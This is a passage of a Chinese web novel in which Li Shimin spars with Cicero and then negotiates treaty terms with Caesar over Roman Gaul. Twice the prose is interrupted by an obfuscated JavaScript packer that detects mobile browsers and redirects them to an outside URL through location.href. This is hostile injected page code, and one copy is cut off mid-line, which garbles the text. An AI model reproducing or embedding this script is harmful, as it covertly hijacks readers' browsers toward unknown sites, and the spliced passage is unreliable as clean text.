“罗马人说,他们带来文明、道路、秩序。”李世民的声音转冷,“但他们修路,是为了更快运走你们的粮食;他们建城,是为了更方便统治你们;他们所谓的‘和平’,是建立在你们的白骨之上!” 每问一句,他的声音就提高一分。到最后,林间只剩下他的声音在回荡。 “至于安全……在罗马人来之前,高卢人需要防备谁?而在罗马人来之后,高卢人最需要防备的,难道不正是罗马人自己吗?” 林中一片死寂。连风都仿佛停了。 西塞罗的脸色第一次出现了变化。那不是愤怒,而是某种更深层的惊讶——这个东方人不仅语言流利,他对罗马制度的了解、对高卢现状的把握、以及那种层层递进的辩驳逻辑,完全超出了他的预期。 这不是一个蛮族斗士。这是一个受过顶级教育、精通权术的对手。 “巧言令色,”西塞罗稳住心神,恢复了他惯有的雄辩家姿态,“你一个外人,凭什么代表高卢?高卢人自己的领袖呢?维钦托利已经投降,各部落早已向凯撒宣誓效忠。你现在所做的,不是在帮助高卢,而是在煽动他们走向更深的灾难——对抗罗马的下场,阿莱西亚还不够清楚吗?” 这个问题尖锐而致命。它直指高卢人心中最深的伤疤,也试图将李世民定位为“煽动叛乱的外来者”。 所有目光再次聚焦在李世民身上。 这一次,李世民沉默了更久。他转过身,不是面对西塞罗,而是面对所有高卢代表。 “他说得对,”李世民的声音低沉下来,“我不是高卢人。但我站在这里,因为苦难不需要翻译,因为暴政不分种族,因为一个人看见不公时袖手旁观,那他就成了不公的帮凶。” 他猛地转身,重新面对西塞罗,声音陡然拔高: “至于效忠?文盲辩论家,你读过历史吗?你知道罗马自己,当年是如何反抗伊特鲁里亚国王塔奎尼乌斯的暴政吗?‘暴君无需效忠’——这句话,难道不是从你们罗马的先贤口中说出的吗?” 西塞罗瞳孔骤缩。他叫我什么? 李世民步步紧逼:“如果宣誓效忠,换来的却是家破人亡、税负如山,那这种效忠的意义何在?如果遵守法律,结果却是正义荡然无存、弱者任人宰割,那这种法律,与强盗的规则何异?” “你——”西塞罗想打断。 但李世民不给他机会。他的声音像出鞘的剑,在林间回荡: “我今天站在这里,不是要煽动高卢人走向必败的战争。我是要代表他们,问罗马一个问题:” 他深吸一口气,一字一句,用高卢语和拉丁语各说了一遍: “你们到底想要一个怎样的高卢?” “是要一片只有尸骨和灰烬的焦土,还是要一个能持续为罗马提供粮食、兵源、财富的行省?” “是要一群时刻准备着反抗、让罗马军团永远无法抽身的奴隶,还是要一群拥有基本尊严、愿意在罗马法框架下生活的公民?” “是要用恐惧和鲜血维持的、随时可能爆炸的统治,还是要用相对公正的治理换来的、长久的和平与忠诚?” 三个问题,像三记重锤,砸在寂静的林中。 不仅高卢代表们目瞪口呆,连西塞罗带来的罗马书记官都忘了记录,笔悬在半空。 这不是蛮族的咆哮。这是政治家的全局视野。这是将道德诉求与现实主义利益精妙结合的、堪称教科书级别的外交质询。 李世民做足了功课,提前几天和高卢长老们商议,将所有辩论可能涉及到议题、争论、回答、攻击……全部使用拉丁语写成政论文,一遍又一遍练习拉丁语演讲。重大的、核心的议题必须由他亲自当众发言;突发的、临时的议题,则更依赖塞恩的翻译和他的随机应变。 西塞罗彻底失语了。他一生在元老院辩论过无数议题,见过无数对手,但从未遇到过这样的攻势——不纠缠于具体暴行(那会陷入情绪化的互相指控),而是直接跳升到统治哲学的层面,用罗马自身的利益来反诘罗马。 就在这近乎凝固的寂静中—— 林外传来了掌声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224110|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓慢、清晰、带着某种慵懒却不容忽视的节奏。 所有人转头。 一个身影从林荫深处走出。 他穿着简单的深灰色旅行斗篷,没有佩戴任何勋章或武器,仿佛只是个偶然路过的旅人。但当他掀开兜帽时,林中所有罗马士兵——包括西塞罗——瞬间挺直了脊背。 灰蓝色的眼睛,深刻的下颌轮廓,岁月刻下的纹路里沉淀着无边权势与疲惫。 昆图斯·西塞罗立刻起身,躬身行礼:“统帅。” 两个字,如石子投入池塘。 高卢人群骚动起来。布罗杜斯的手按上了剑柄,卡西维劳努斯抓紧拐杖,卢科斯脸色发白。 盖乌斯·尤利乌斯·凯撒。 他就这样,在无人通报的情况下,独自一人,走进了圣林的核心。 二、旧友与总督 时间仿佛被拉长、扭曲。 李世民站在那里,看着那个身影从斑驳的树影中走出,看着那张曾在雨夜篝火旁显得温和甚至疲惫的脸,此刻在圣林清冷的光线下,显露出全然不同的质地——那是统治者的脸,是征服者的脸,是悬赏令上那个将他的性命明码标价的名字。 盖乌斯·尤利乌斯·凯撒。 所有的线索,所有的不协调,所有那些被他强行解释为“巧合”的细节,在这一刻轰然汇聚,炸成一片冰冷的、令人眩晕的真相。 那个在军营里和他分享无花果的老兵。 那个在雨夜为他端来油灯、擦拭泪痕的陌生人。 那个笨拙地画着图画、试图与他交流的“盖乌斯”。 那个拥抱过他、在他耳边用生涩汉语唤他“世民”的人。 和眼前这个—— 高卢总督。 罗马三巨头之一。 签署悬赏令,将他定义为“煽动叛乱者”的人。 是同一个。 李世民的呼吸停滞了一瞬。 他感觉到血液冲上头顶,又在瞬间冷却,凝结成胸腔里一块沉重的冰。指尖发麻,耳边嗡嗡作响,但脸上——奇迹般地——没有任何表情。只有那双深褐色的眼睛,瞳孔在极细微地收缩,像受惊的动物,又像在重新校准焦距,试图将两张截然不同的面孔重叠。 凯撒的目光穿过人群,落在了李世民身上。 那双灰蓝色的眼睛里,没有任何惊讶,只有一种深邃的、近乎玩味的平静。仿佛他早就知道会在这里见到他,仿佛这一切都在他的预料之中。 “精彩的演说,菲尼克斯,”凯撒开口,声音还是李世民记忆中的那个声音——低沉、温和、带着沙哑的磁性,但此刻,那温和里浸透了权力的重量,“甚至让我想起了年轻时在罗马广场上与加图辩论的日子。不过……” 他顿了顿,缓缓走向石圈中央,罗马士兵自动分开一条路,高卢代表们下意识地后退。 “你的问题,或许应该由我来回答。” 凯撒在李世民面前三步处停下。这个距离很近,近到能看清彼此眼中的每一丝波澜。 “你想要知道,罗马想要一个怎样的高卢?”凯撒微微侧头,像在认真思考,“很简单:一个安定的、繁荣的、能成为共和国可靠后方的高卢。就像你刚才说的——提供粮食、兵源、财富。为此,罗马愿意做出……调整。” 他转向高卢代表们,声音变得更具煽动性,那是顶级政治家蛊惑人心的语调: “减税是可能的。重新评估各部落的负担,确保不会有人饿死。给予部分忠诚部落领袖罗马公民权,也是可以讨论的。甚至,在卢格杜努姆设立一个‘高卢咨议会’,让各部落代表参与地方治理——这些,我都可以考虑。” 人群中响起压抑的骚动。几个长老交换眼神,那里面有动摇,有期待。 凯撒捕捉到了这些细微的变化。他的嘴角勾起一丝极淡的、近乎温柔的弧度,重新看向李世民: “你看,菲尼克斯,我们并非没有共同点。你想要高卢人过得更好,而我……想要一个稳定繁荣的高卢。这并不矛盾。” 他向前迈了半步,声音压低,用只有两人能听清的音量,用汉语说: “我们曾经可以好好谈谈的,世民。” 那一瞬间,李世民浑身僵硬。 汉语。那个雨夜他教给他的、他的名字的发音。此刻被用在这里,在这个公开场合,用这种近乎私密的语气说出。 这不是无意的。这是精心算计的羞辱,是权力游戏中最下作却也最有效的一招——将私人关系拖入公共领域,用暧昧模糊一切原则对立,将政治辩论降格为个人恩怨。 李世民感到一股冰冷的怒火从脊椎窜起,烧穿了胸腔里那块冰。但他依然没有动,只是看着凯撒,看着那双灰蓝色眼睛里闪烁的、近乎残忍的兴味。 “凯撒总督,”李世民开口,拉丁语平稳得可怕,“感谢你的承诺。但高卢人听过太多罗马的承诺——然后看着它们在税吏的算盘下变成废纸。” 他转向高卢代表,声音重新变得洪亮: “他说减税可能——但由谁来定税率?罗马税吏。他说给公民权可能——但给谁?听话的傀儡。他说设咨议会——但咨议会的决议,总督一纸命令就能推翻。” 他回头,目光如刀,刺向凯撒: “我要的,不是可能、可以、考虑。我要的是白纸黑字的协议,是受罗马法律保护的条款,是驻军人数和税率的明确上限,是受到不公时可以向元老院申诉的权利——这些,总督,你敢给吗?” 凯撒脸上的笑容淡去了。灰蓝色的眼睛里,有什么东西沉淀下来,变得冰冷而坚硬。 “你在要求一个战败者不该奢求的东西,菲尼克斯。” “战败者?”李世民笑了,那笑容里没有任何温度,“高卢是被征服了,但高卢人还活着。活着,就会思考,就会比较,就会问:为什么意大利的农民只需缴纳十分之一的税,而高卢人要交三分之一?为什么西班牙行省的部落可以保留自治权,而高卢的部落要被拆散?” 他向前一步,与凯撒几乎鼻尖相对: “总督,你比我更清楚:统治,要么靠恐惧,要么靠认同。恐惧需要无止境的镇压,而认同……需要公正。” 林中死寂。连鸟鸣都消失了。 凯撒静静地看着李世民,看了很久。那双灰蓝色的眼睛里,翻涌着极其复杂的情绪——欣赏、忌惮、恼怒,还有一丝连他自己都未必察觉的、被深深刺中的痛楚。 最终,他缓缓后退半步,恢复了总督的仪态。 “今天的讨论很有成效,”凯撒的声音恢复了公事公办的平静,“高卢人的诉求,我听到了。罗马的诚意,我也展示了。至于具体的条款……” 他顿了顿,目光扫过高卢代表: “十天后,卢格杜努姆总督府,我会邀请各部落长老正式会谈。届时,我们可以讨论减税比例、公民权授予标准和咨议会的权限。” 他最后看了李世民一眼: “而你,菲尼克斯……作为高卢人推举的代言人,当然也在邀请之列。” 说完,他转身,对西塞罗点了点头,然后径自向林外走去。西塞罗和罗马士兵紧随其后,脚步声整齐划一,渐渐远去。 林中只剩下高卢人,和一片沉重的、混合着希望与疑虑的寂静。 李世民站在原地,背对所有人。他垂在身侧的手,指尖在无人看见的角度,微微颤抖。 不是恐惧。 是愤怒。是被背叛、被欺骗、被置于如此羞辱境地的、冰冷的愤怒。 塞恩走到他身边,低声用高卢语问:“你还好吗?” 李世民没有回答。他缓缓抬起头,望向凯撒消失的方向,林间小径空无一人,只有落叶在风中打旋。 他用汉语,极轻地、几乎只是唇语地说了一句: “胆敢骗我……我们的事,还没完。” 26. 第八章、卢格杜努姆的三十天(上) 第八章、卢格杜努姆的三十天(上) 零、谈判前夜:十日备战 圣林盟约后的第二天,卢格杜努姆以东三十里,埃杜维部落的城堡内烛火通明。 长桌上铺满了羊皮纸卷——这是高卢各部落搜集来的情报。 “这是你要的。”布罗杜斯长老指着堆积如山的资料,“我们从四个方向收集情报:第一,罗马内部政局。马赛的希腊商团提供了元老院最近三个月的辩论记录抄本——凯撒在罗马的政敌正在增多,庞培和克拉苏对他的警惕日深。” 李世民翻开一册,上面用希腊文详细记录了元老院关于高卢军费拨款的争吵。“很好。凯撒需要尽快稳定高卢,才能回罗马争夺权力。这是他的时间压力。” “第二,凯撒本人。”塞恩接过话,她眼圈发黑但目光炯炯,“我们联系了曾在他麾下服役的高卢辅助兵,还有他在西班牙时期的书记官——这人因为债务问题愿意提供信息。凯撒的谈判风格:善用拖延战术,喜欢在对方疲惫时突袭要害,但对真正懂军事和财政的人会给予尊重。” 她递上一份特质分析:“他近期最关心三件事:高卢的黄金产量、莱茵河边境的日耳曼动向、以及明年竞选执政官的资金。” “第三,罗马法律。”一位白发苍苍的老者起身——他是赫尔莫格尼斯,在亚历山大城学习法律四十年,因家族生意定居马赛。“我带来了《十二铜表法》全本、《行省治理法》汇编、以及最近十年元老院关于外省事务的决议摘要。” 老者展开一卷:“最关键的是,罗马法在高卢的适用存在大量空白。很多条款从未真正执行,只是理论存在。这是我们可以利用的空间。” “我们还需要这个。”阿维尔尼部落的代表拍手,卫兵抬进三个木箱。 第一个箱子打开,是密密麻麻的黏土板:“高卢各部落人口普查——我们动员了所有祭司和书记官,十天完成了粗略统计。总人口约六百万,成年男性约一百二十万。” 第二个箱子是地图:“罗马驻军分布、粮仓位置、道路枢纽。从商队贿赂得来的情报——目前高卢境内有八个军团,但其中两个即将调往不列颠,凯撒在虚张声势。” 第三个箱子最沉重,装满各种钱币和账册:“过去五年各部落实际缴税额、罗马评估官受贿记录、市场粮价波动。我们从被焚毁的税吏档案中抢救出来的。” 李世民一张张翻阅,心中渐有蓝图。 “还有语言问题。”塞恩低声说,“你需要更专业的翻译和顾问,我恐怕支持不了……” “人已经找到了。”布罗杜斯拍了拍手。 走进来三个人:一位是马赛的希腊修辞学教师,精通拉丁语、希腊语和高卢语;一位是曾在罗马法庭工作的自由民,熟悉法律术语;第三位竟是个年轻罗马人——因债务卖身为奴,被高卢商人买下。 “提图斯,前罗马军团百夫长,因伤退役,懂军事术语和行政用语。”布罗杜斯介绍,“他愿意为我们工作,条件是获得自由和一笔安家费。” 李世民与那罗马人对视片刻:“为什么帮我们?” “我在高卢驻防五年,见过太多不公。”提图斯声音沙哑,“而且……我妻子是高卢人。” 团队就此成型。 接下来七天,李世民带领这个小组昼夜工作: 第一天,将五项原则拆解成具体条款,每个条款预设罗马可能的反驳点。 第二天,研究罗马法律先例,找出对高卢有利的条款。 第三天,模拟谈判——赫尔莫格尼斯扮演西塞罗,提图斯扮演拉比埃努斯,希腊教师扮演凯撒。 第四天至第七天,反复修改策略。李世民惊人的学习能力开始显现:他每天只睡两三个时辰,却能在次日准确引用前一天才接触的法律条文。 “他不是在学语言,”希腊教师惊叹,“他是在吞噬整个罗马的治理逻辑。” 第八天,情报网传来最新消息:凯撒的财务官卡勒努斯已抵达卢格杜努姆,带来了元老院催促尽快解决高卢问题的指令。 第九天,李世民召集所有部落代表:“明天我进入总督府后,你们要做三件事:第一,继续收集情报,每天深夜送至指定地点;第二,准备应急方案,若谈判破裂,如何保护各部落;第三——也是最重要的——无论谈判结果如何,都要开始建立高卢人自己的治理体系。” 第十天黎明,李世民穿上高卢贵族服饰,腰间佩剑——不是武器,而是谈判代表的权杖,袖子里缝着密语对照表。 “记住,”和几位长老一同出发时,他对送行的人们说,“我不是去投降,是去划定战场的新边界。” 塞恩将一枚刻有凤凰纹样的青铜戒指戴在他手上:“所有高卢人的眼睛,都将看着卢格杜努姆。” 一、第一周:试探与划界 卢格杜努姆总督府的议事厅,此刻像一片无声的战场。 长桌两侧,泾渭分明。 北侧,凯撒居中,两侧是昆图斯·西塞罗、军团指挥官拉比埃努斯、财务官卡勒努斯,以及四名书记官。他们身后,巨大的高卢地图铺满整面墙壁,红色小旗标记着军团驻地。 南侧,李世民独坐,身边只有一个法律顾问——曾在罗马法庭工作的列奥尼达斯。塞恩和三位高卢长老被“礼貌地”请到了偏厅等候。 这是凯撒的第一个下马威:既然是“高卢代言人”,就该独自面对罗马的整个官僚机器。允许带一个翻译,已是罗马心胸宽广。 阳光从高窗斜射而入,在光洁的大理石地面上切割出明暗交界。尘埃在光柱中缓缓浮沉。 “那么,”凯撒开口,声音平静无波,“我们从哪里开始?税率?驻军?还是……你的个人待遇?” 列奥尼达斯快速提醒李世民:“‘个人待遇’这个词在罗马谈判中常用来暗示流放条件。” 李世民没有立刻回答。他端起面前的陶杯——里面是清水,不是罗马人惯常的葡萄酒——慢慢饮了一口。 这个简单的动作,让他赢得了三秒钟的思考时间。 “从原则开始。”他放下杯子,目光直视凯撒,“十天前在圣林,你同意了五项基本原则。现在,我们需要把这些原则,变成可执行的条款。” “比如?”西塞罗插话,语气带着法学家特有的挑剔。 “比如第一条:‘税率不得超过收成的十分之一’。”李世民从怀中取出那份烫金草案的副本,“那么问题来了:什么是‘收成’?是毛收成还是净收成?如何评估?由谁评估?如果遭遇天灾减产怎么办?如果罗马需要额外军粮‘征购’,价格如何定?” 一连串问题,每个都切中要害。不愧是三省长官当遍的人! 卡勒努斯——那个精明的财务官——眼睛眯了起来。他意识到,这个东方人不仅懂军事,更懂税收的核心症结。 “罗马的惯例,”卡勒努斯缓缓道,“是由行省总督府指派评估官,根据田地产量和市场价格核定。” “那么评估官受贿怎么办?”李世民问得直接,“如果他和当地贵族勾结,压低小农的评估值,抬高自己人的,税负依然会压垮真正种地的人。” 议事厅里安静了一瞬。这不是假设,这是高卢正在发生的现实。 列奥尼达斯大多是在深层、细节和专业词汇的讨论时提供讲解或翻译,其他时候都需李世民自己用拉丁语舌战。 “所以你的建议是?”凯撒问,手指在桌面上轻轻敲击。 “三方评估。”李世民说,“总督府派一人,当地部落推举一人,再从卢格杜努姆的希腊商团中聘请一名中立的会计师——三方共同核定,结果公示,有异议者可申诉至新设立的‘高卢咨议会’复核。” 拉比埃努斯皱眉:“这太复杂,效率低下。” “但公正。”李世民看向他,“将军,你比我更清楚:不公正的税收,是叛乱的温床。而镇压叛乱的成本,远高于建立一个相对公正的税收体系。” 凯撒的嘴角几不可察地动了一下。这个东方人再次用罗马的利益,来论证高卢的需求。 “继续。”他说。 第一天,他们只谈了这一条。 日落时分,当塞恩和三位长老被允许进入时,看到的是一份写满注释和修改的羊皮纸——关于税率的评估机制,双方达成了初步共识:试行“三方评估”,为期一年,期满评估效果。 谈判结束后,李世民没有休息。 回到埃杜维城堡已是黄昏。他简单进食后,立即召集团队: 赫尔莫格尼斯指出:“今天卡勒努斯没有强烈反对三方评估,说明罗马财政系统本身也有改革需求——凯撒需要稳定的税收,而非竭泽而渔。” 前百夫长提图斯分析:“拉比埃努斯更关心军事控制权。接下来驻军条款才是硬仗。” 法律顾问列奥尼达斯复盘语言细节:“凯撒今天三次使用‘可以考虑’这个短语,在元老院记录中,这通常表示他已有倾向性同意。” 李世民边听边记录,直到深夜。 他们将今天每个罗马官员的表情、用词、沉默都拆解分析,预设明天的反驳策略。 这样的夜晚持续了整个第一周。 每天六小时的激烈谈判后,是三小时的情报更新(各部落情报员深夜送来最新消息),再是三小时的团队复盘与预演。 塞恩看着李世民眼下的青黑日渐加深,却无法劝止——因为他确实在创造奇迹。 --- 第二天,话题转向公民权。 西塞罗搬出了《罗马法》典籍,引经据典地论证公民权是“神圣的荣誉”,只能授予“对罗马有卓越贡献且完全拉丁化的人”。 李世民耐心听完列奥尼达斯的翻译解析,然后问:“那么请问,一个在高卢出生的孩子,他的父亲在罗马军团服役战死,他为罗马缴税纳粮,他学习拉丁语和罗马法律——他为什么不能渴望成为公民?难道仅仅因为他的血脉?” “罗马公民权不是与生俱来的权利,”西塞罗反驳,“是 earned(赢得)的。” “那么请定义‘赢得’的标准。”李世民再次拿出草案,“我的版本很清楚:服役满五年,或无犯罪记录并纳税满十年。标准公开,人人可达——这才是真正的激励,而不是少数贵族用钱或关系买来的特权。” “这会稀释公民的纯度!”一位年轻的书记官忍不住插嘴。 李世民转向他,眼神锐利:“请问,罗马建国时,最初的公民是纯血的拉丁人吗?罗马的伟大,难道不正在于它能将不同民族吸纳为公民,而非永远将他们视为外人?” 凯撒抬起手,止住了即将爆发的争论。 “公民权条款,”他缓缓道,“需要元老院批准。我只能承诺,会将你的草案作为提案提交,并‘建议’通过。” 这是典型的政治拖延术。 李世民没有纠缠。他点头:“可以。但在提案通过前,高卢人应享有‘拉丁权’——包括财产受保护、与罗马人通婚、在罗马法庭诉讼的权利。这是现有法律已经允许的,只是在高卢从未真正执行。” 西塞罗看向凯撒。凯撒微微颔首。 第二天结束时,公民权条款被拆成了两部分:立即执行的拉丁权保障,和需要元老院批准的公民权路径。李世民得到了前者,凯撒保留了后者的解释权。 看似平局,但李世民知道,只要拉丁权真正落实,高卢人的地位就已经发生了质变。 --- 第三天的议题是“高卢咨议会”。 这是整个草案的核心,也是最敏感的部分——它触及了罗马统治的根本:决策权。 拉比埃努斯直接反对:“行省治理是总督的职责,元老院和人民授予的权力。设立一个高卢人的咨议会参与决策,这不符合罗马的政体。” “咨议会不取代总督,”李世民早有准备,“它只有三项权力:第一,审议税收评估结果;第二,审议地方官员的任命建议——注意,是建议,不是决定;第三,接受平民申诉,调查后向总督提交报告。” 他顿了顿:“这三项权力,都不涉及军事、外交和终极司法权。总督依然握有最终决定权。咨议会的作用,是让高卢人觉得自己的声音能被听到,问题能有渠道反映——而不是只能通过暴动来表达。” “听起来像是给小孩一个玩具,让他觉得自己在参与。”卡勒努斯低声评价。 “但就是这个玩具,”李世民看向他,“能让大人省去很多麻烦。” 凯撒再次陷入沉思。他走到地图前,目光扫过那些蓝色小旗——代表反抗活动的区域。 “咨议会的代表如何产生?”他问。 “各部落按人口比例推举,但必须包括平民代表,不能全是贵族。”李世民说,“任期两年,可连任一次。会议公开,记录存档。” “总督有权解散咨议会吗?” “如果咨议会三次通过违反罗马基本法的决议,总督可以解散并重新选举。”李世民给出了底线,“但解散需要理由,并向元老院报备。” 又是一整天的拉锯。夜幕降临时,咨议会的框架基本确定:一个有限的、顾问性的、但具有某种道德权威的机构。 当李世民走出议事厅时,塞恩看到他眼底深深的疲惫。 “他们同意了?”她问。 “同意了框架,”李世民靠在走廊的柱子上,望着总督府庭院里点燃的火炬,“但留下了无数后门。凯撒在每一个条款里,都埋下了‘最终解释权归总督’的伏笔。” “那怎么办?” “只要机构存在,就有运作的空间。”李世民低声说,“法律条文是死的,人是活的。只要高卢人学会利用这个平台,声音就会越来越大。” 第一周结束。五项原则中的三项,都有了初步的细化方案。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他特意强调“小规模”——暗示他知道大规模叛乱风险已降低。 凯撒深深看了他一眼,那眼神在说:你知道的比你说出来的多。 --- 司法议题更加棘手。 西塞罗坚持罗马法适用于所有公民和拉丁权持有者,高卢习惯法只能在“不违反罗马法基本原则”的前提下,适用于部落内部纠纷。 “那么请问,”李世民问,“如果一个高卢人按照部落传统,与邻居交换土地,但手续不符合罗马法的书面契约要求——这个交易有效吗?如果无效,高卢几百年的传统怎么办?如果有效,罗马法的权威在哪里?” 这是个两难问题。 连续两天,议事厅里充满了法学术语的辩论。李世民虽然拉丁语已经足够日常交流,但面对复杂的法律概念,时常需要停顿思考,等待列奥尼达斯详细的讲解。 西塞罗流露出不易察觉的优越感——到底谁才是“文盲”?他忘不了这个词。 直到第三天,李世民带来了一个人。 一个穿着希腊学者长袍的老人,被塞恩搀扶着走进议事厅。 “这位是赫尔莫格尼斯,来自亚历山大图书馆的法学家。”李世民介绍,“他精通罗马法、希腊法和东方各国的法典。我请他作为我的法律顾问。” 凯撒的眉毛挑了起来。他没想到李世民能找到这样的人——而且是在短短几天内。 赫尔莫格尼斯颤巍巍地坐下,开口却是流利而优雅的拉丁语:“总督阁下,各位大人。关于法律适用冲突的问题,在托勒密埃及有成熟的经验:罗马法适用于公民间事务和刑事案件;地方传统法适用于民事纠纷和家庭事务;设立混合法庭,由罗马法官和地方长□□同审理跨界案件。” 他引用了具体的埃及法典条款,甚至提到了罗马元老院当年批准埃及特殊司法安排的先例。 西塞罗的脸色变了。他无法再以“蛮族不懂法律”来轻视对方。 那一天,司法条款取得了突破性进展。混合法庭的概念被接受,高卢习惯法在特定领域的合法性得到承认。 会后,李世民亲自扶赫尔莫格尼斯走出会议厅:“感谢先生相助。” 老学者摆摆手:“我不是为你,年轻人。我是在为‘法律应当服务人民,而非人民屈从法律’这个理念。你在做的事……很有意思。” 他顿了顿,浑浊的眼睛里闪过锐光:“但你要小心。凯撒欣赏有才智的对手,但他更擅长在欣赏完之后,毁掉他们。” --- 第二周的最后两天,议题转向了李世民本人。 这才是真正的心战。 “你将被护送到马赛,登船前往希腊。”凯撒的语气像是在宣布既成事实,“罗马会提供一笔‘旅行资助’,足够你在雅典或罗德岛舒适地生活。作为交换,你要公开承诺永不返回高卢,并号召你的追随者接受协议。” 李世民静静听着。等凯撒说完,他问:“多少?” “什么多少?” “资助的金额。还有,”李世民直视凯撒,“如何确保,我离开后,这些协议会被执行?” 卡勒努斯报出一个数字:五千第纳尔。对一个普通人来说是巨款,但对曾经的大唐皇帝来说,一粒尘埃。 李世民笑了:“总督阁下,你的贫穷我能体谅。但我从税吏那儿抢到的钱都不止这个数。” “那你想要多少?” “我不要钱。”李世民说,“我要三样东西。” 议事厅里安静下来。 “第一,我要一艘船。不是客船,是一艘可以远航的商船,配备熟悉地中海航线的水手和向导。我要去的地方,可能比希腊更远。” 凯撒眼神微动:“你要回东方?” “那是我的事。”李世民不置可否,“第二,我要一份由你亲自签署的保证书,承诺这些协议会被执行——不是‘尽力’,是‘保证’。如果三年内协议被大规模违反,我有权将保证书副本寄给元老院,并附上我的证词。” 西塞罗倒吸一口冷气:“你这是要挟!” “不,这是保险。”李世民平静地说,“第三,也是最重要的……” 他顿了顿,目光扫过所有人: “我要你们公开承认,‘菲尼克斯’不是逃犯,不是叛乱者,而是高卢人与罗马人之间的调解者。我的离开,不是流放,而是使命完成后的自愿退场。” 他看向凯撒:“你要给我尊严地离开。因为只有我尊严地离开,这份协议才有尊严,高卢人才会相信它值得遵守。” 长久的沉默。 凯撒看着李世民,看着那双深褐色眼睛里不容动摇的决意。他忽然意识到,这个东方人要的从来不是钱财或安全,他要的是历史叙事的主导权——他要确保自己在这个故事里,不是可悲的失败者,而是主动的选择者。 “可以。”凯撒最终说,“但相应的,你也要在公开场合,承认罗马统治的合法性,呼吁和平。” “我会呼吁遵守协议,”李世民纠正,“至于合法性……让时间和公正的治理来证明吧。” 第二周在某种微妙的平衡中结束。李世民赢得了尊严退场的承诺,凯撒确保了协议的“表面合意”。 但两人都清楚,真正的较量,在协议之外。 27. 第九章、卢格杜努姆的三十天(下) 第九章、卢格杜努姆的三十天(下) 三、第三周:疲劳战与意外插曲 谈判进入第三周,双方都已疲惫不堪。 每天六个小时的唇枪舌剑,每一条款都要反复推敲、修改、再推敲。书记官们写秃了无数支笔,羊皮纸堆积如山。 李世民开始出现明显的体力透支。他晚上失眠,白天靠浓茶和意志力支撑。塞恩私下找过赫尔莫格尼斯,弄来一些提神的草药,但效果有限。 列奥尼达斯同样疲惫不堪——他不仅要准确翻译,还要观察对方微表情、记录关键词、在翻译间隙低声提醒李世民潜在陷阱。 凯撒也不轻松。他白天要谈判,晚上要处理高卢各地报来的政务,还要与罗马保持书信联系,应对元老院越来越咄咄逼人的质问。有人弹劾他在高卢“软弱”,有人散播他与东方俘虏有“不正当关系”的谣言。 第三周的议题转向了细枝末节,但往往是这些细节,最消磨人的耐心。 比如,关于“不得强征高卢人服役”的条款,拉比埃努斯坚持要加上“除非共和国处于紧急状态”的例外。 “什么是‘紧急状态’?”李世民问,“谁宣布?标准是什么?如果每次需要劳力修路或运输,总督都宣布‘紧急状态’,这条款就形同虚设。” 于是又花了两天,定义“紧急状态”的触发条件和宣布程序。 李世民每晚与赫尔莫格尼斯钻研罗马法律史,发现“紧急状态”(tumultus)在共和早期仅用于外敌入侵,近年才被滥用。 第三天谈判时,他直接引用公元前390年高卢人攻陷罗马后元老院的决议:“当时的‘紧急状态’明确限定为‘城市面临武装攻击时’。请问,税收纠纷是否构成‘武装攻击’?” 西塞罗一时语塞——这个东方人连四百年前的档案都查了。 又如,关于高卢人加入军团的待遇,李世民要求“与意大利籍士兵同酬同权”。 卡勒努斯反对:“高卢的生活成本低于意大利,军饷应当相应调整。” “但他们面对的危险是一样的!”李世民拍桌而起——这是他三周来第一次失态,“他们在战场上流的血,难道因为出生地不同就更廉价吗?” 那一刻,议事厅里的罗马军官们都沉默了。他们是军人,理解这个道理。 凯撒看着李世民因激动而泛红的脸颊,看着那双眼睛里燃烧的、近乎悲愤的火光,心中某个地方被轻轻触动。 “同酬。”他最终裁定,声音不大,但一锤定音。 卡勒努斯张了张嘴,最终没再反驳。 那天谈判结束后,凯撒让其他人先离开,只留下李世民。 夕阳的余晖透过高窗,将议事厅染成一片温暖的金红。 “你累了。”凯撒说,语气不再是总督对谈判对手,而像是一个观察者陈述事实。 “你不也是?”李世民揉了揉眉心,没有掩饰疲惫。 短暂的沉默。远处传来总督府卫兵换岗的号角声。 “为什么?”凯撒忽然问,“为什么为这些素不相识的高卢人,做到这个地步?你本可以接受我的条件,拿着钱去希腊,过上舒适的生活。甚至……”他顿了顿,“如果你愿意,可以留在罗马。以你的才智,我能给你一个位置。” 李世民抬起头,看着凯撒。在夕阳的光晕中,这位罗马总督的脸显得柔和了些,那些纹路里沉淀的不再只是权势,还有某种深藏的、连他自己都未必察觉的孤独。 “因为我看过地狱。”李世民缓缓道,用的是拉丁语,但词汇简单直接,“在我的家乡,在来这里之前,我见过饿殍遍野,见过易子而食。我发誓,如果我有能力,绝不让我的子民再经历那些。” 他站起身,走到窗前,背对凯撒: “但我失去了我的子民,也许我是把高卢人当成了我的子民……” 凯撒没有说话。他想起雨夜帐篷里,这个东方人伏在膝头无声哭泣的样子。那时他以为那是软弱,现在他明白了——那是过于沉重的共情能力,是领袖最珍贵的诅咒。 “你会毁了自己。”凯撒轻声说。 “不至于。”李世民自信到傲慢,夕阳在他身后勾勒出金色的轮廓,“但如果能用我的能力,使几十万人活得像人……值得。” 那一刻,凯撒心中涌起一股强烈的、危险的冲动——他想走过去,想触碰这个人的肩膀,想告诉他,他理解那种孤独,那种站在顶峰、却无人能真正对话的孤独。 但他没有动。他是凯撒,是罗马的征服者,是高卢的总督。 “明天继续。”他最终说,声音恢复了公事公办的平静。 --- 第三周的最后一天,发生了意外。 谈判进行到下午,关于“协议监督机制”的条款。李世民提议设立一个由罗马元老、高卢长老和第三方学者组成的监督委员会,每年审查协议执行情况。 西塞罗坚决反对:“这等于在总督之上又设了一个权力机构,绝对不行!” 争吵愈演愈烈。李世民因为连续失眠,头痛欲裂,反应慢了半拍。西塞罗抓住一个逻辑漏洞,连续逼问,语气越来越尖锐。 